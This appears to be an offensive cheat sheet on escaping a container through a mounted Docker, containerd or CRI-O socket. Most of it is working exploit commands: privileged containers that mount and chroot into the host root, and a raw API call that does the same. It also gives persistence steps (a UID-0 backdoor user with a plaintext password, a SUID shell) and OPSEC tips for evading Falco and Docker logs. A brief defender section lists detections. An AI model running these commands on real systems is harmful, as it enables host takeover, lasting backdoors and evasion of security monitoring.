Docker / Containerd Socket Mount Escape
A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.
Detect
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1
Exploit — Docker socket
# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.
# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null
# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create
Exploit — containerd socket
# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
--mount type=bind,src=/,dst=/host,options=rbind \
docker.io/library/alpine:latest escape sh -c 'chroot /host'
# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host
Exploit — CRI-O socket
crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.
Common attack contexts
| Context | Why the socket is mounted |
|---|---|
| Jenkins/GitLab CI runners | Build Docker images inside the build container |
| ArgoCD / Flux | Run pre-/post-sync hooks that build images |
| Docker-in-Docker (DinD) in K8s | Same — build pipelines, kaniko alternatives |
| Diagnostic sidecars | Container-level metrics/log shippers |
| Buildkit daemon w/ ungated rootless socket | Same primitive, less restricted env |
Persistence
# Inside the escaped host, drop a backdoor:
chroot /host useradd -ou 0 -g 0 -m -s /bin/bash backdoor
echo 'backdoor:plaintext' | chroot /host chpasswd
# Or grant SUID:
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x
OPSEC
- The Docker API logs every container create (
/var/log/docker.logor journald). Use a benign-sounding image name. - Falco rules
attach_drop_capability,escape_to_host_namespaceflag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather thandocker run(multiple). - CRI-O auditing logs every
RunPodSandbox— same evasion approach.
Detection (defender lens, useful for triage)
- Pod-spec scanning (admission controllers — OPA Gatekeeper, Kyverno) blocks
hostPath: /var/run/docker.sockat admit time. - Falco rule
Mount docker.sockcatches the runtime case. - AppArmor profile
docker-defaultdoesn't block this — needs custom profile.